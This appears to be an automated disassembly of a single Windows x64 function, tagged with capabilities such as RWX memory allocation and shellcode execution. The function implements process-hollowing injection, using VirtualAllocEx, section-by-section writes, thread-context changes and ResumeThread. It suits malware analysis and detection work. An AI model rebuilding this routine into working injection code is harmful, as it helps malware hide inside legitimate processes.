Function at 0x1400b2650
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0xf0]
xor eax, eax
mov qword [rbp - 0x58], rax
mov rsi, rcx
mov rdi, qword [rsi + 0x10]
mov rbx, rdi
cmp word [rbx], 0x5a4d
jne 0x1400b2697
mov eax, dword [rbx + 0x3c]
cdqe
xor r14d, r14d
cmp word [rdi + rax + 0x18], 0x20b
sete r14b
jmp 0x1400b269a
xor r14d, r14d
call fcn.1400011ae
mov r15, rax
mov qword [rbp - 0x60], r15
mov byte [r15], r14b
xor r14d, r14d
xor r12d, r12d
movzx eax, byte [r15]
test eax, eax
je 0x1400b26c2
mov edx, dword [rbx + 0x3c]
movsxd r12, edx
add r12, rdi
jmp 0x1400b26cb
mov edx, dword [rbx + 0x3c]
movsxd r14, edx
add r14, rdi
test eax, eax
jne 0x1400b26d4
mov eax, dword [r14]
jmp 0x1400b26d8
mov eax, dword [r12]
cmp eax, 0x4550
jne 0x1400b31a1
call fcn.1400b2620
test eax, eax
jne 0x1400b26f3
mov ecx, 0x40
jmp 0x1400b26f8
mov ecx, 0x60
call fcn.1400b32f0
mov rdi, rax
call fcn.1400b2620
test eax, eax
jne 0x1400b2710
mov ecx, 0x10
jmp 0x1400b2715
mov ecx, 0x18
movsxd rcx, ecx
call fcn.140145760
mov qword [rbp - 0x40], rax
xor ecx, ecx
mov dword [rbp - 0x44], ecx
xor ecx, ecx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rax
mov qword [rbp + 0x10], rsi
mov rcx, qword [rsi + 8]
lea rdx, [0x1403b9008]
xor r8d, r8d
xor r9d, r9d
call fcn.1400b3350
test eax, eax
je 0x1400b30b8
test rdi, 0xffffffffffff0000
je 0x1400b279b
mov rcx, rdi
mov qword [rbp - 0x70], rcx
lea rcx, [rbp - 0xa0]
call fcn.140005fc0
mov rcx, qword [rbp - 0x70]
call sub.KERNEL32.dll_LocalFree
lea rcx, [rbp - 0xa0]
call fcn.140006010
mov r15, qword [rbp - 0x60]
cmp byte [r15], 0
jne 0x1400b3004
mov ecx, dword [r14 + 0x34]
mov edi, ecx
mov rcx, qword [rbp - 0x40]
mov rdx, rdi
call fcn.1400b3780
mov rcx, qword [rbp - 0x40]
mov rbx, qword [rcx]
mov r13, rcx
call fcn.1400b2620
test eax, eax
jne 0x1400b300e
mov ecx, 4
movsxd rcx, ecx
mov r13, qword [rcx + r13]
test rbx, rbx
je 0x1400b2f46
test r13, r13
je 0x1400b2f46
movzx ecx, byte [r15]
test ecx, ecx
jne 0x1400b3018
mov r8d, dword [r14 + 0x50]
test ecx, ecx
jne 0x1400b3022
mov eax, dword [r14 + 0x54]
mov dword [rbp - 0x48], eax
test ecx, ecx
jne 0x1400b302c
movzx edx, word [r14 + 6]
movzx r10d, dx
mov dword [rbp - 0x4c], r10d
test ecx, ecx
jne 0x1400b3037
mov r11d, dword [r14 + 0x28]
mov dword [rbp - 0x50], r11d
mov dword [rsp + 0x20], 0x40
mov rcx, rbx
mov qword [rbp - 0x70], rcx
mov rdx, rdi
mov qword [rbp - 0x78], rdx
mov dword [rbp - 0x64], r8d
mov r9d, 0x3000
mov dword [rbp - 0x68], r9d
lea rcx, [rbp - 0xa0]
call fcn.140005fc0
mov rcx, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x78]
mov r8d, dword [rbp - 0x64]
mov r9d, dword [rbp - 0x68]
call sub.KERNEL32.dll_VirtualAllocEx
mov rsi, rax
lea rcx, [rbp - 0xa0]
call fcn.140006010
lea r8, [rbp - 0x58]
mov qword [rsp + 0x20], r8
mov rdi, qword [rbp + 0x10]
mov r8, qword [rdi + 0x10]
mov rcx, rbx
mov rdx, rsi
mov r9d, dword [rbp - 0x48]
call fcn.1400b3640
test eax, eax
je 0x1400b2e88
mov r15, qword [rbp - 0x60]
cmp byte [r15], 0
jne 0x1400b3041
add r14, 0xf8
xor r12d, r12d
cmp dword [rbp - 0x4c], 0
jle 0x1400b290f
lea r8, [rbp - 0x58]
mov qword [rsp + 0x20], r8
mov r8, qword [rdi + 0x10]
mov edx, dword [r14 + 0x14]
add r8, rdx
mov edx, dword [r14 + 0xc]
add rdx, rsi
mov r9d, dword [r14 + 0x10]
mov rcx, rbx
call fcn.1400b3640
test eax, eax
je 0x1400b2dca
add r14, 0x28
inc r12d
mov ecx, dword [rbp - 0x4c]
cmp r12d, ecx
mov dword [rbp - 0x4c], ecx
jl 0x1400b28ce
cmp byte [r15], 0
jne 0x1400b304e
mov ecx, 0x2cc
movsxd rcx, ecx
call fcn.140145760
mov rdi, rax
cmp byte [r15], 0
je 0x1400b3058
mov dword [rdi + 0x30], 0x10001b
cmp byte [r15], 0
jne 0x1400b3063
mov rcx, r13
mov rdx, rdi
call fcn.1400b34e0
test eax, eax
je 0x1400b2d0c
mov r14d, dword [rdi + 0xa4]
mov r12, qword [rdi + 0x88]
mov rcx, rsi
call fcn.1400c8690
cmp byte [r15], 0
jne 0x1400b307b
add r14d, 8
movsxd rdx, r14d
lea r9, [rbp - 0x58]
mov qword [rsp + 0x20], r9
mov r9d, dword [rax + 8]
mov rcx, rbx
mov r8, rax
call fcn.1400b36d0
test eax, eax
je 0x1400b2b90
cmp byte [r15], 0
je 0x1400b3085
mov r14d, dword [rbp - 0x50]
mov ecx, r14d
add rcx, rsi
mov qword [rdi + 0x80], rcx
cmp byte [r15], 0
jne 0x1400b309b
mov rcx, r13
mov rdx, rdi
call fcn.1400b35c0
test eax, eax
je 0x1400b2ad2
mov rcx, r13
mov qword [rbp - 0x78], rcx
lea rcx, [rbp - 0xa0]
call fcn.140005fc0
mov rcx, qword [rbp - 0x78]
call sub.KERNEL32.dll_ResumeThread
lea rcx, [rbp - 0xa0]
call fcn.140006010
movsxd rcx, ebx
cmp rbx, rcx
jne 0x1400b30b3
mov ecx, ebx
mov dword [rbp - 0x44], ecx
jmp 0x1400b3178
lea rcx, [0x1403d85f0]
call fcn.1400cae80
mov rsi, rax
lea rcx, [0x1402e10f8]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.1400adb60
mov rcx, rdi
mov edx, 2
call fcn.1400ae5c0
mov rcx, rdi
mov edx, 2
call fcn.1400ae620
lea rcx, [0x1403d4de8]
call fcn.1400cae80
mov rdx, rax
mov rcx, rdi
call fcn.1400ae440
mov rcx, rdi
call fcn.1400adc80
mov rdi, rax
call fcn.140002057
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403dfb60]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402e2178]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
lea rcx, [0x1403cea38]
call fcn.1400cae80
mov rsi, rax
lea rcx, [0x1402e10f8]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.1400adb60
mov rcx, rdi
mov edx, 2
call fcn.1400ae5c0
mov rcx, rdi
mov edx, 2
call fcn.1400ae620
lea rcx, [0x1403cb3d0]
call fcn.1400cae80
mov rdx, rax
mov rcx, rdi
call fcn.1400ae440
mov rcx, rdi
call fcn.1400adc80
mov rdi, rax
call fcn.140002057
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403dfb60]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402e2178]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
lea rcx, [0x1403da7b8]
call fcn.1400cae80
mov rsi, rax
lea rcx, [0x1402e10f8]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.1400adb60
mov rcx, rdi
mov edx, 2
call fcn.1400ae5c0
mov rcx, rdi
mov edx, 2
call fcn.1400ae620
lea rcx, [0x1403d1268]
call fcn.1400cae80
mov rdx, rax
mov rcx, rdi
call fcn.1400ae440
mov rcx, rdi
call fcn.1400adc80
mov rdi, rax
call fcn.140002057
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403dfb60]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402e2178]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
lea rcx, [0x1403daa98]
call fcn.1400cae80
mov rsi, rax
lea rcx, [0x1402e10f8]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.1400adb60
mov rcx, rdi
mov edx, 2
call fcn.1400ae5c0
mov rcx, rdi
mov edx, 2
call fcn.1400ae620
lea rcx, [0x1403c7710]
call fcn.1400cae80
mov rdx, rax
mov rcx, rdi
call fcn.1400ae440
mov rcx, rdi
call fcn.1400adc80
mov rdi, rax
call fcn.140002057
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403dfb60]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402e2178]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
lea rcx, [0x1403bc4a8]
call fcn.1400cae80
mov rsi, rax
lea rcx, [0x1402e10f8]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.1400adb60
mov rcx, rdi
mov edx, 2
call fcn.1400ae5c0
mov rcx, rdi
mov edx, 2
call fcn.1400ae620
lea rcx, [0x1403d59a8]
call fcn.1400cae80
mov rdx, rax
mov rcx, rdi
call fcn.1400ae440
mov rcx, rdi
call fcn.1400adc80
mov rdi, rax
call fcn.140002057
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403dfb60]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402e2178]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
lea rcx, [0x1403da880]
call fcn.1400cae80
mov rsi, rax
lea rcx, [0x1402e10f8]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.1400adb60
mov rcx, rdi
mov edx, 2
call fcn.1400ae5c0
mov rcx, rdi
mov edx, 2
call fcn.1400ae620
lea rcx, [0x1403c50d8]
call fcn.1400cae80
mov rdx, rax
mov rcx, rdi
call fcn.1400ae440
mov rcx, rdi
call fcn.1400adc80
mov rdi, rax
call fcn.140002057
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403dfb60]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402e2178]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
lea rcx, [0x1403bbe48]
call fcn.1400cae80
mov rsi, rax
lea rcx, [0x1402e10f8]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.1400adb60
mov rcx, rdi
mov edx, 2
call fcn.1400ae5c0
mov rcx, rdi
mov edx, 2
call fcn.1400ae620
lea rcx, [0x1403bc090]
call fcn.1400cae80
mov rdx, rax
mov rcx, rdi
call fcn.1400ae440
mov rcx, rdi
call fcn.1400adc80
mov rdi, rax
call fcn.140002057
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403dfb60]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402e2178]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
lea rcx, [0x1403da918]
call fcn.1400cae80
mov rsi, rax
lea rcx, [0x1402e10f8]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.1400adb60
mov rcx, rdi
mov edx, 2
call fcn.1400ae5c0
mov rcx, rdi
mov edx, 2
call fcn.1400ae620
lea rcx, [0x1403d3bd0]
call fcn.1400cae80
mov rdx, rax
mov rcx, rdi
call fcn.1400ae440
mov rcx, rdi
call fcn.1400adc80
mov rdi, rax
call fcn.140002057
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403dfb60]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402e2178]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
mov rdi, qword [r12 + 0x30]
jmp 0x1400b27af
mov ecx, 8
jmp 0x1400b27d7
mov r8d, dword [r12 + 0x50]
jmp 0x1400b2800
mov eax, dword [r12 + 0x54]
jmp 0x1400b280c
movzx edx, word [r12 + 6]
jmp 0x1400b281c
mov r11d, dword [r12 + 0x28]
jmp 0x1400b2830
lea r14, [r12 + 0x108]
jmp 0x1400b28c5
mov ecx, 0x4d0
jmp 0x1400b291e
mov dword [rdi], 0x10002
jmp 0x1400b293a
mov rcx, r13
mov rdx, rdi
call fcn.1400b3450
test eax, eax
je 0x1400b2c4e
jmp 0x1400b2957
lea rdx, [r12 + 0x10]
jmp 0x1400b297e
mov r14d, dword [rbp - 0x50]
mov ecx, r14d
add rcx, rsi
mov qword [rdi + 0xb0], rcx
jmp 0x1400b29b9
mov rcx, r13
mov rdx, rdi
call fcn.1400b3560
test eax, eax
je 0x1400b2a14
jmp 0x1400b29d6
call fcn.140168ff0
lea rcx, [0x1403d44e0]
call fcn.1400cae80
mov rsi, rax
lea rcx, [0x1402e10f8]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.1400adb60
mov rcx, rdi
mov edx, 2
call fcn.1400ae5c0
mov rcx, rdi
mov edx, 2
call fcn.1400ae620
lea rcx, [0x1403d71f8]
call fcn.1400cae80
mov rdx, rax
mov rcx, rdi
call fcn.1400ae440
mov rcx, rdi
call fcn.1400adc80
mov rdi, rax
call fcn.140002057
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403dfb60]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402e2178]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
int3
mov rcx, qword [rbp - 0x40]
test rcx, 0xffffffffffff0000
je 0x1400b318a
call fcn.14016a910
mov eax, dword [rbp - 0x44]
add rsp, 0xb8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x1403bbcd0]
call fcn.1400cae80
mov rsi, rax
lea rcx, [0x1402e10f8]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.1400adb60
mov rcx, rdi
mov edx, 2
call fcn.1400ae5c0
mov rcx, rdi
mov edx, 2
call fcn.1400ae620
lea rcx, [0x1403d8e18]
call fcn.1400cae80
mov rdx, rax
mov rcx, rdi
call fcn.1400ae440
mov rcx, rdi
call fcn.1400adc80
mov rdi, rax
call fcn.140002057
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403dfb60]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402e2178]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.1400c3640
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
int3